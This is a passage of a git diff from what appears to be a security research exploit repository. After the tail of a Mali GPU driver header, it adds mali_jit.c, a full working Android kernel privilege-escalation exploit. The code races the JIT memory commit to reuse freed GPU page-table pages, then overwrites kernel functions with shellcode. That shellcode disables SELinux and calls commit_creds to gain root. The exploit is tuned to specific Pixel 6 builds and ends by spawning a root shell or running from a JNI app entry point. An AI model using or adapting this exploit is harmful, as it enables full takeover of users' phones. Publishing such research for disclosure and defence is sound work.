event codes. + * The status of jobs which succeeded are also represented by + * an event code (see @BASE_JD_EVENT_DONE). + * Events are usually reported as part of a &struct base_jd_event. + * + * The event codes are encoded in the following way: + * * 10:0 - subtype + * * 12:11 - type + * * 13 - SW success (only valid if the SW bit is set) + * * 14 - SW event (HW event if not set) + * * 15 - Kernel event (should never be seen in userspace) + * + * Events are split up into ranges as follows: + * * BASE_JD_EVENT_RANGE__START + * * BASE_JD_EVENT_RANGE__END + * + * code is in 's range when: + * BASE_JD_EVENT_RANGE__START <= code < + * BASE_JD_EVENT_RANGE__END + * + * Ranges can be asserted for adjacency by testing that the END of the previous + * is equal to the START of the next. This is useful for optimizing some tests + * for range. + * + * A limitation is that the last member of this enum must explicitly be handled + * (with an assert-unreachable statement) in switch statements that use + * variables of this type. Otherwise, the compiler warns that we have not + * handled that enum value. + */ +enum base_jd_event_code { + /* HW defined exceptions */ + BASE_JD_EVENT_RANGE_HW_NONFAULT_START = 0, + + /* non-fatal exceptions */ + BASE_JD_EVENT_NOT_STARTED = 0x00, + BASE_JD_EVENT_DONE = 0x01, + BASE_JD_EVENT_STOPPED = 0x03, + BASE_JD_EVENT_TERMINATED = 0x04, + BASE_JD_EVENT_ACTIVE = 0x08, + + BASE_JD_EVENT_RANGE_HW_NONFAULT_END = 0x40, + BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_START = 0x40, + + /* job exceptions */ + BASE_JD_EVENT_JOB_CONFIG_FAULT = 0x40, + BASE_JD_EVENT_JOB_POWER_FAULT = 0x41, + BASE_JD_EVENT_JOB_READ_FAULT = 0x42, + BASE_JD_EVENT_JOB_WRITE_FAULT = 0x43, + BASE_JD_EVENT_JOB_AFFINITY_FAULT = 0x44, + BASE_JD_EVENT_JOB_BUS_FAULT = 0x48, + BASE_JD_EVENT_INSTR_INVALID_PC = 0x50, + BASE_JD_EVENT_INSTR_INVALID_ENC = 0x51, + BASE_JD_EVENT_INSTR_TYPE_MISMATCH = 0x52, + BASE_JD_EVENT_INSTR_OPERAND_FAULT = 0x53, + BASE_JD_EVENT_INSTR_TLS_FAULT = 0x54, + BASE_JD_EVENT_INSTR_BARRIER_FAULT = 0x55, + BASE_JD_EVENT_INSTR_ALIGN_FAULT = 0x56, + BASE_JD_EVENT_DATA_INVALID_FAULT = 0x58, + BASE_JD_EVENT_TILE_RANGE_FAULT = 0x59, + BASE_JD_EVENT_STATE_FAULT = 0x5A, + BASE_JD_EVENT_OUT_OF_MEMORY = 0x60, + BASE_JD_EVENT_UNKNOWN = 0x7F, + + /* GPU exceptions */ + BASE_JD_EVENT_DELAYED_BUS_FAULT = 0x80, + BASE_JD_EVENT_SHAREABILITY_FAULT = 0x88, + + /* MMU exceptions */ + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL1 = 0xC1, + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL2 = 0xC2, + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL3 = 0xC3, + BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL4 = 0xC4, + BASE_JD_EVENT_PERMISSION_FAULT = 0xC8, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL1 = 0xD1, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL2 = 0xD2, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL3 = 0xD3, + BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL4 = 0xD4, + BASE_JD_EVENT_ACCESS_FLAG = 0xD8, + + /* SW defined exceptions */ + BASE_JD_EVENT_MEM_GROWTH_FAILED = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x000, + BASE_JD_EVENT_TIMED_OUT = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x001, + BASE_JD_EVENT_JOB_CANCELLED = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x002, + BASE_JD_EVENT_JOB_INVALID = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x003, + BASE_JD_EVENT_PM_EVENT = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_JOB | 0x004, + + BASE_JD_EVENT_BAG_INVALID = + BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_BAG | 0x003, + + BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_END = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_RESERVED | 0x3FF, + + BASE_JD_EVENT_RANGE_SW_SUCCESS_START = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | 0x000, + + BASE_JD_EVENT_PROGRESS_REPORT = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_JOB | 0x000, + BASE_JD_EVENT_BAG_DONE = BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_SUCCESS | + BASE_JD_SW_EVENT_BAG | 0x000, + BASE_JD_EVENT_DRV_TERMINATED = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_INFO | 0x000, + + BASE_JD_EVENT_RANGE_SW_SUCCESS_END = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_RESERVED | 0x3FF, + + BASE_JD_EVENT_RANGE_KERNEL_ONLY_START = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | 0x000, + BASE_JD_EVENT_REMOVED_FROM_NEXT = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_JOB | 0x000, + BASE_JD_EVENT_END_RP_DONE = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_JOB | 0x001, + + BASE_JD_EVENT_RANGE_KERNEL_ONLY_END = BASE_JD_SW_EVENT | + BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_RESERVED | 0x3FF +}; + +/** + * struct base_jd_event_v2 - Event reporting structure + * + * @event_code: event code. + * @atom_number: the atom number that has completed. + * @udata: user data. + * + * This structure is used by the kernel driver to report information + * about GPU events. They can either be HW-specific events or low-level + * SW events, such as job-chain completion. + * + * The event code contains an event type field which can be extracted + * by ANDing with BASE_JD_SW_EVENT_TYPE_MASK. + */ +struct base_jd_event_v2 { + enum base_jd_event_code event_code; + base_atom_id atom_number; + struct base_jd_udata udata; +}; + +/** + * struct base_dump_cpu_gpu_counters - Structure for + * BASE_JD_REQ_SOFT_DUMP_CPU_GPU_COUNTERS + * jobs. + * @system_time: gpu timestamp + * @cycle_counter: gpu cycle count + * @sec: cpu time(sec) + * @usec: cpu time(usec) + * @padding: padding + * + * This structure is stored into the memory pointed to by the @jc field + * of &struct base_jd_atom. + * + * It must not occupy the same CPU cache line(s) as any neighboring data. + * This is to avoid cases where access to pages containing the structure + * is shared between cached and un-cached memory regions, which would + * cause memory corruption. + */ + +struct base_dump_cpu_gpu_counters { + __u64 system_time; + __u64 cycle_counter; + __u64 sec; + __u32 usec; + __u8 padding[36]; +}; + +#endif /* _UAPI_BASE_JM_KERNEL_H_ */ + diff --git a/SecurityExploits/Android/Mali/GHSL-2023-005/mali_jit.c b/SecurityExploits/Android/Mali/GHSL-2023-005/mali_jit.c new file mode 100644 index 0000000..ba87406 --- /dev/null +++ b/SecurityExploits/Android/Mali/GHSL-2023-005/mali_jit.c @@ -0,0 +1,659 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "stdbool.h" +#include +#include +#include + +#include "mali.h" +#include "mali_base_jm_kernel.h" +#include "midgard.h" + +#ifdef SHELL +#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__) +#else +#include +#define LOG(fmt, ...) __android_log_print(ANDROID_LOG_ERROR, "exploit", fmt, ##__VA_ARGS__) + +#endif //SHELL + +#define MALI "/dev/mali0" + +#define PAGE_SHIFT 12 + +#define PFN_DOWN(x) ((x) >> PAGE_SHIFT) + +#define FREED_NUM 1 + +#define FLUSH_SIZE (0x1000 * 0x1000) + +#define POOL_SIZE 16384 + +#define RESERVED_SIZE 32 + +#define TOTAL_RESERVED_SIZE 1024 + +#define FLUSH_REGION_SIZE 500 + +#define GROW_SIZE 0x2000 + +#define RECLAIM_SIZE (3 * POOL_SIZE) + +#define JIT_PAGES 0x1000000 + +#define JIT_GROUP_ID 1 + +#define KERNEL_BASE 0x80000000 + +#define OVERWRITE_INDEX 256 + +#define ADRP_INIT_INDEX 0 + +#define ADD_INIT_INDEX 1 + +#define ADRP_COMMIT_INDEX 2 + +#define ADD_COMMIT_INDEX 3 + +#define AVC_DENY_2211 0x8d6810 + +#define SEL_READ_ENFORCE_2211 0x8ea124 + +#define INIT_CRED_2211 0x2fd1388 + +#define COMMIT_CREDS_2211 0x17ada4 + +#define ADD_INIT_2211 0x910e2000 //add x0, x0, #0x388 + +#define ADD_COMMIT_2211 0x91369108 //add x8, x8, #0xda4 + +#define AVC_DENY_2212 0x8ba710 + +#define SEL_READ_ENFORCE_2212 0x8cdfd4 + +#define INIT_CRED_2212 0x2fd1418 + +#define COMMIT_CREDS_2212 0x177ee4 + +#define ADD_INIT_2212 0x91106000 //add x0, x0, #0x418 + +#define ADD_COMMIT_2212 0x913b9108 //add x8, x8, #0xee4 + +#define AVC_DENY_2301 0x8ba710 + +#define SEL_READ_ENFORCE_2301 0x8cdfd4 + +#define INIT_CRED_2301 0x2fd1418 + +#define COMMIT_CREDS_2301 0x177ee4 + +#define ADD_INIT_2301 0x91106000 //add x0, x0, #0x418 + +#define ADD_COMMIT_2301 0x913b9108 //add x8, x8, #0xee4 + +static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2301; + +static uint64_t avc_deny = AVC_DENY_2301; + +/* +Overwriting SELinux to permissive + strb wzr, [x0] + mov x0, #0 + ret +*/ +static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0}; + +static uint32_t root_code[8] = {0}; + +static uint8_t atom_number = 1; +static void* flush_regions[FLUSH_REGION_SIZE]; +static uint64_t reclaim_va[RECLAIM_SIZE]; +static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE]; +static bool commit_failed = false; +static bool g_ready_commit = false; + +struct base_mem_handle { + struct { + __u64 handle; + } basep; +}; + +struct base_mem_aliasing_info { + struct base_mem_handle handle; + __u64 offset; + __u64 length; +}; + +static int open_dev(char* name) { + int fd = open(name, O_RDWR); + if (fd == -1) { + err(1, "cannot open %s\n", name); + } + return fd; +} + +uint8_t increase_atom_number() { + uint8_t out = atom_number; + if (++atom_number == 0) { + atom_number++; + } + return out; +} + +void setup_mali(int fd, int group_id) { + struct kbase_ioctl_version_check param = {0}; + if (ioctl(fd, KBASE_IOCTL_VERSION_CHECK, ¶m) < 0) { + err(1, "version check failed\n"); + } + struct kbase_ioctl_set_flags set_flags = {group_id << 3}; + if (ioctl(fd, KBASE_IOCTL_SET_FLAGS, &set_flags) < 0) { + err(1, "set flags failed\n"); + } +} + +void* setup_tracking_page(int fd) { + void* region = mmap(NULL, 0x1000, 0, MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE); + if (region == MAP_FAILED) { + err(1, "setup tracking page failed"); + } + return region; +} + +void jit_init(int fd, uint64_t va_pages, uint64_t trim_level, int group_id) { + struct kbase_ioctl_mem_jit_init init = {0}; + init.va_pages = va_pages; + init.max_allocations = 255; + init.trim_level = trim_level; + init.group_id = group_id; + init.phys_pages = va_pages; + + if (ioctl(fd, KBASE_IOCTL_MEM_JIT_INIT, &init) < 0) { + err(1, "jit init failed\n"); + } +} + +uint64_t jit_allocate(int fd, uint8_t atom_number, uint8_t id, uint64_t va_pages, uint64_t commit_pages, uint8_t bin_id, uint16_t usage_id, uint64_t gpu_alloc_addr) { + struct base_jit_alloc_info info = {0}; + struct base_jd_atom_v2 atom = {0}; + + info.id = id; + info.gpu_alloc_addr = gpu_alloc_addr; + info.va_pages = va_pages; + info.commit_pages = commit_pages; + info.extension = 0x1000; + info.bin_id = bin_id; + info.usage_id = usage_id; + + atom.jc = (uint64_t)(&info); + atom.atom_number = atom_number; + atom.core_req = BASE_JD_REQ_SOFT_JIT_ALLOC; + atom.nr_extres = 1; + struct kbase_ioctl_job_submit submit = {0}; + submit.addr = (uint64_t)(&atom); + submit.nr_atoms = 1; + submit.stride = sizeof(struct base_jd_atom_v2); + if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { + err(1, "submit job failed\n"); + } + return *((uint64_t*)gpu_alloc_addr); +} + +void jit_free(int fd, uint8_t atom_number, uint8_t id) { + uint8_t free_id = id; + + struct base_jd_atom_v2 atom = {0}; + + atom.jc = (uint64_t)(&free_id); + atom.atom_number = atom_number; + atom.core_req = BASE_JD_REQ_SOFT_JIT_FREE; + atom.nr_extres = 1; + struct kbase_ioctl_job_submit submit = {0}; + submit.addr = (uint64_t)(&atom); + submit.nr_atoms = 1; + submit.stride = sizeof(struct base_jd_atom_v2); + if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { + err(1, "submit job failed\n"); + } + +} + +void mem_flags_change(int fd, uint64_t gpu_addr, uint32_t flags, int ignore_results) { + struct kbase_ioctl_mem_flags_change change = {0}; + change.flags = flags; + change.gpu_va = gpu_addr; + change.mask = flags; + if (ignore_results) { + ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &change); + return; + } + if (ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &change) < 0) { + err(1, "flags_change failed\n"); + } +} + +void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc) { + if (ioctl(fd, KBASE_IOCTL_MEM_ALLOC, alloc) < 0) { + err(1, "mem_alloc failed\n"); + } +} + +void mem_alias(int fd, union kbase_ioctl_mem_alias* alias) { + if (ioctl(fd, KBASE_IOCTL_MEM_ALIAS, alias) < 0) { + err(1, "mem_alias failed\n"); + } +} + +void mem_query(int fd, union kbase_ioctl_mem_query* query) { + if (ioctl(fd, KBASE_IOCTL_MEM_QUERY, query) < 0) { + err(1, "mem_query failed\n"); + } +} + +void mem_commit(int fd, uint64_t gpu_addr, uint64_t pages) { + struct kbase_ioctl_mem_commit commit = {.gpu_addr = gpu_addr, pages = pages}; + if (ioctl(fd, KBASE_IOCTL_MEM_COMMIT, &commit) < 0) { + LOG("commit failed\n"); + commit_failed = true; + } +} + +void* map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (group << 22); + int prot = PROT_READ; + if (!read_only) { + alloc.in.flags |= BASE_MEM_PROT_GPU_WR; + prot |= PROT_WRITE; + } + alloc.in.va_pages = va_pages; + alloc.in.commit_pages = commit_pages; + mem_alloc(mali_fd, &alloc); + void* region = mmap(NULL, 0x1000 * va_pages, prot, MAP_SHARED, mali_fd, alloc.out.gpu_va); + if (region == MAP_FAILED) { + err(1, "mmap failed"); + } + return region; +} + +uint64_t alloc_mem(int mali_fd, unsigned int pages) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = pages; + alloc.in.commit_pages = pages; + mem_alloc(mali_fd, &alloc); + return alloc.out.gpu_va; +} + +void free_mem(int mali_fd, uint64_t gpuaddr) { + struct kbase_ioctl_mem_free mem_free = {.gpu_addr = gpuaddr}; + if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) { + err(1, "free_mem failed\n"); + } +} + +uint64_t drain_mem_pool(int mali_fd) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22); + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = POOL_SIZE; + alloc.in.commit_pages = POOL_SIZE; + mem_alloc(mali_fd, &alloc); + return alloc.out.gpu_va; +} + +void release_mem_pool(int mali_fd, uint64_t drain) { + struct kbase_ioctl_mem_free mem_free = {.gpu_addr = drain}; + if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) { + err(1, "free_mem failed\n"); + } +} + +void* flush(int idx) { + void* region = mmap(NULL, FLUSH_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + if (region == MAP_FAILED) err(1, "flush failed"); + memset(region, idx, FLUSH_SIZE); + return region; +} + +void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va) { + for (int i = 0; i < nents; i++) { + union kbase_ioctl_mem_alloc alloc = {0}; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22); + int prot = PROT_READ | PROT_WRITE; + alloc.in.va_pages = pages; + alloc.in.commit_pages = pages; + mem_alloc(mali_fd, &alloc); + reserved_va[i] = alloc.out.gpu_va; + } +} + +void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va) { + for (int i = 0; i < nents; i++) { + void* reserved = mmap(NULL, 0x1000 * pages, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, reserved_va[i]); + if (reserved == MAP_FAILED) { + err(1, "mmap reserved failed"); + } + reserved_va[i] = (uint64_t)reserved; + } +} + +uint32_t lo32(uint64_t x) { + return x & 0xffffffff; +} + +uint32_t hi32(uint64_t x) { + return x >> 32; +} + +uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) { + uint64_t pc_page = pc >> 12; + uint64_t label_page = label >> 12; + int64_t offset = (label_page - pc_page) << 12; + int64_t immhi_mask = 0xffffe0; + int64_t immhi = offset >> 14; + int32_t immlo = (offset >> 12) & 0x3; + uint32_t adpr = rd & 0x1f; + adpr |= (1 << 28); + adpr |= (1 << 31); //op + adpr |= immlo << 29; + adpr |= (immhi_mask & (immhi << 5)); + return adpr; +} + +void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit) { + + uint32_t init_adpr = write_adrp(0, read_enforce, init_cred); + //Sets x0 to init_cred + root_code[ADRP_INIT_INDEX] = init_adpr; + root_code[ADD_INIT_INDEX] = add_init; + //Sets x8 to commit_creds + root_code[ADRP_COMMIT_INDEX] = write_adrp(8, read_enforce, commit_cred); + root_code[ADD_COMMIT_INDEX] = add_commit; + root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10] + root_code[5] = 0xd63f0100; // blr x8 + root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 + root_code[7] = 0xd65f03c0; // ret +} + +uint64_t set_addr_lv3(uint64_t addr) { + uint64_t pfn = addr >> PAGE_SHIFT; + pfn &= ~ 0x1FFUL; + pfn |= 0x100UL; + return pfn << PAGE_SHIFT; +} + +static inline uint64_t compute_pt_index(uint64_t addr, int level) { + uint64_t vpfn = addr >> PAGE_SHIFT; + vpfn >>= (3 - level) * 9; + return vpfn & 0x1FF; +} + +void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, enum mali_write_value_type type) { + void* jc_region = map_gpu(mali_fd, 1, 1, false, 0); + struct MALI_JOB_HEADER jh = {0}; + jh.is_64b = true; + jh.type = MALI_JOB_TYPE_WRITE_VALUE; + + struct MALI_WRITE_VALUE_JOB_PAYLOAD payload = {0}; + payload.type = type; + payload.immediate_value = value; + payload.address = gpu_addr; + + MALI_JOB_HEADER_pack((uint32_t*)jc_region, &jh); + MALI_WRITE_VALUE_JOB_PAYLOAD_pack((uint32_t*)jc_region + 8, &payload); + uint32_t* section = (uint32_t*)jc_region; + struct base_jd_atom_v2 atom = {0}; + atom.jc = (uint64_t)jc_region; + atom.atom_number = atom_number; + atom.core_req = BASE_JD_REQ_CS; + struct kbase_ioctl_job_submit submit = {0}; + submit.addr = (uint64_t)(&atom); + submit.nr_atoms = 1; + submit.stride = sizeof(struct base_jd_atom_v2); + if (ioctl(mali_fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { + err(1, "submit job failed\n"); + } + usleep(10000); +} + +void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size) { + uint64_t func_offset = (func + KERNEL_BASE) % 0x1000; + uint64_t curr_overwrite_addr = 0; + for (int i = 0; i < size; i++) { + uint64_t base = reserved[i]; + uint64_t end = reserved[i] + RESERVED_SIZE * 0x1000; + uint64_t start_idx = compute_pt_index(base, 3); + uint64_t end_idx = compute_pt_index(end, 3); + for (uint64_t addr = base; addr < end; addr += 0x1000) { + uint64_t overwrite_addr = set_addr_lv3(addr); + if (curr_overwrite_addr != overwrite_addr) { + LOG("overwrite addr : %lx %lx\n", overwrite_addr + func_offset, func_offset); + curr_overwrite_addr = overwrite_addr; + for (int code = code_size - 1; code >= 0; code--) { + write_to(mali_fd, overwrite_addr + func_offset + code * 4, shellcode[code], increase_atom_number(), MALI_WRITE_VALUE_TYPE_IMMEDIATE_32); + } + usleep(300000); + } + } + } +} + +int run_enforce() { + char result = '2'; + sleep(3); + int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY); + read(enforce_fd, &result, 1); + close(enforce_fd); + LOG("result %d\n", result); + return result; +} + +void select_offset() { + char fingerprint[256]; + int len = __system_property_get("ro.build.fingerprint", fingerprint); + LOG("fingerprint: %s\n", fingerprint); + if (!strcmp(fingerprint, "google/oriole/oriole:13/TP1A.221105.002/9080065:user/release-keys")) { + avc_deny = AVC_DENY_2211; + sel_read_enforce = SEL_READ_ENFORCE_2211; + fixup_root_shell(INIT_CRED_2211, COMMIT_CREDS_2211, SEL_READ_ENFORCE_2211, ADD_INIT_2211, ADD_COMMIT_2211); + return; + } + if (!strcmp(fingerprint, "google/oriole/oriole:13/TQ1A.221205.011/9244662:user/release-keys")) { + avc_deny = AVC_DENY_2212; + sel_read_enforce = SEL_READ_ENFORCE_2212; + fixup_root_shell(INIT_CRED_2212, COMMIT_CREDS_2212, SEL_READ_ENFORCE_2212, ADD_INIT_2212, ADD_COMMIT_2212); + return; + } + if (!strcmp(fingerprint, "google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys")) { + avc_deny = AVC_DENY_2301; + sel_read_enforce = SEL_READ_ENFORCE_2301; + fixup_root_shell(INIT_CRED_2301, COMMIT_CREDS_2301, SEL_READ_ENFORCE_2301, ADD_INIT_2301, ADD_COMMIT_2301); + return; + } + err(1, "unable to match build id\n"); +} + +void cleanup(int mali_fd, uint64_t pgd) { + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), 2, increase_atom_number(), MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); +} + +void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) { + uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, increase_atom_number(), MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + + usleep(100000); + //Go through the reserve pages addresses to write to avc_denied with our own shellcode + write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t)); + + //Triggers avc_denied to disable SELinux + open("/dev/kmsg", O_RDONLY); + + uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, increase_atom_number(), MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + + //Call commit_creds to overwrite process credentials to gain root + write_func(mali_fd2, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t)); +} + +void* shrink_jit_mem(void* args) { + uint64_t* arguments = (uint64_t*)args; + int mali_fd = arguments[0]; + uint64_t gpu_addr = arguments[1]; + uint64_t pages = arguments[2]; + while (!g_ready_commit) {}; + usleep(10000); + mem_commit(mali_fd, gpu_addr, pages); + return NULL; +} + +void reclaim_freed_pages(int mali_fd) { + for (int i = 0; i < RECLAIM_SIZE; i++) { + reclaim_va[i] = (uint64_t)map_gpu(mali_fd, 1, 1, false, JIT_GROUP_ID); + uint64_t* this_va = (uint64_t*)(reclaim_va[i]); + *this_va = 0; + } +} + +uint64_t find_freed_region(int* idx) { + *idx = -1; + for (int i = 0; i < RECLAIM_SIZE; i++) { + uint64_t* this_region = (uint64_t*)(reclaim_va[i]); + uint64_t val = *this_region; + if (val >= 0x41 && val < 0x41 + FREED_NUM) { + *idx = i; + return val - 0x41; + } + } + return -1; +} + +int trigger(int mali_fd2) { + + int mali_fd = open_dev(MALI); + + setup_mali(mali_fd, 0); + + void* tracking_page = setup_tracking_page(mali_fd); + jit_init(mali_fd, JIT_PAGES, 100, JIT_GROUP_ID); + + g_ready_commit = false; + commit_failed = false; + atom_number = 1; + void* gpu_alloc_addr = map_gpu(mali_fd, 1, 1, false, 0); + uint64_t first_jit_id = 1; + uint64_t second_jit_id = 2; + + uint64_t jit_addr = jit_allocate(mali_fd, increase_atom_number(), first_jit_id, FREED_NUM, 0, 0, 0, (uint64_t)gpu_alloc_addr); + uint64_t jit_addr2 = jit_allocate(mali_fd, increase_atom_number(), second_jit_id, POOL_SIZE * 2, 512 - FREED_NUM, 1, 1, (uint64_t)gpu_alloc_addr); + + if (jit_addr % (512 * 0x1000) != 0 || jit_addr2 < jit_addr || jit_addr2 - jit_addr != FREED_NUM * 0x1000) { + LOG("incorrect memory layout\n"); + LOG("jit_addr %lx %lx\n", jit_addr, jit_addr2); + err(1, "incorrect memory layout\n"); + } + + jit_free(mali_fd, increase_atom_number(), second_jit_id); + pthread_t thread; + uint64_t args[3]; + args[0] = mali_fd; + args[1] = jit_addr2; + args[2] = 0; + + pthread_create(&thread, NULL, &shrink_jit_mem, (void*)&(args[0])); + g_ready_commit = true; + jit_allocate(mali_fd, increase_atom_number(), second_jit_id, POOL_SIZE * 2, GROW_SIZE, 1, 1, (uint64_t)gpu_alloc_addr); + + pthread_join(thread, NULL); + if (commit_failed) { + close(mali_fd); + return -1; + } + jit_free(mali_fd, increase_atom_number(), second_jit_id); + for (int i = 0; i < FLUSH_REGION_SIZE; i++) { + union kbase_ioctl_mem_query query = {0}; + query.in.gpu_addr = jit_addr2; + query.in.query = KBASE_MEM_QUERY_COMMIT_SIZE; + flush_regions[i] = flush(i); + if (ioctl(mali_fd, KBASE_IOCTL_MEM_QUERY, &query) < 0) { + LOG("region freed\n"); + reclaim_freed_pages(mali_fd); + uint64_t start_addr = jit_addr2 + 0x1000 * (512 - FREED_NUM); + for (int j = 0; j < FREED_NUM; j++) { + write_to(mali_fd, start_addr + j * 0x1000, 0x41 + j, increase_atom_number(), MALI_WRITE_VALUE_TYPE_IMMEDIATE_64); + } + int idx = -1; + uint64_t offset = find_freed_region(&idx); + if (offset == -1) { + LOG("unable to find region\n"); + for (int r = 0; r < FLUSH_REGION_SIZE; r++) munmap(flush_regions[r], FLUSH_SIZE); + close(mali_fd); + return -1; + } + LOG("found region %d at %lx\n", idx, start_addr + offset * 0x1000); + uint64_t drain = drain_mem_pool(mali_fd); + release_mem_pool(mali_fd, drain); + munmap((void*)(reclaim_va[idx]), 0x1000); + mmap(NULL, 0x1000 * 0x1000, PROT_READ|PROT_WRITE, + MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + map_reserved(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + for (int r = 0; r < FLUSH_REGION_SIZE; r++) munmap(flush_regions[r], FLUSH_SIZE); + + uint64_t pgd = start_addr + offset * 0x1000; + write_shellcode(mali_fd, mali_fd2, pgd, &(reserved[0])); + run_enforce(); + cleanup(mali_fd, pgd); + return 0; + } + } + close(mali_fd); + return -1; +} + +#ifdef SHELL + +int main() { + setbuf(stdout, NULL); + setbuf(stderr, NULL); + + select_offset(); + + int mali_fd2 = open_dev(MALI); + setup_mali(mali_fd2, 1); + setup_tracking_page(mali_fd2); + reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + map_gpu(mali_fd2, 1, 1, false, 0); + if (!trigger(mali_fd2)) { + system("sh"); + } +} +#else +#include +JNIEXPORT int JNICALL +Java_com_example_hellojni_MaliExpService_stringFromJNI( JNIEnv* env, jobject thiz) +{ + setbuf(stdout, NULL); + setbuf(stderr, NULL); + select_offset(); + + int mali_fd2 = open_dev(MALI); + setup_mali(mali_fd2, 1); + setup_tracking_page(mali_fd2); + reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + map_gpu(mali_fd2, 1, 1, false, 0); + if (!trigger(mali_fd2)) { + LOG("uid: %d euid %d", getuid(), geteuid()); + return 0; + } + return -1; +} +#endif + diff --git a/SecurityExploits/Android/Mali/GHSL-2023-005/midgard.h b/SecurityExploits/Android/Mali/GHSL-2023-005/midgard.h new file mode 100644 index 0000000..e0ce432 --- /dev/null +++ 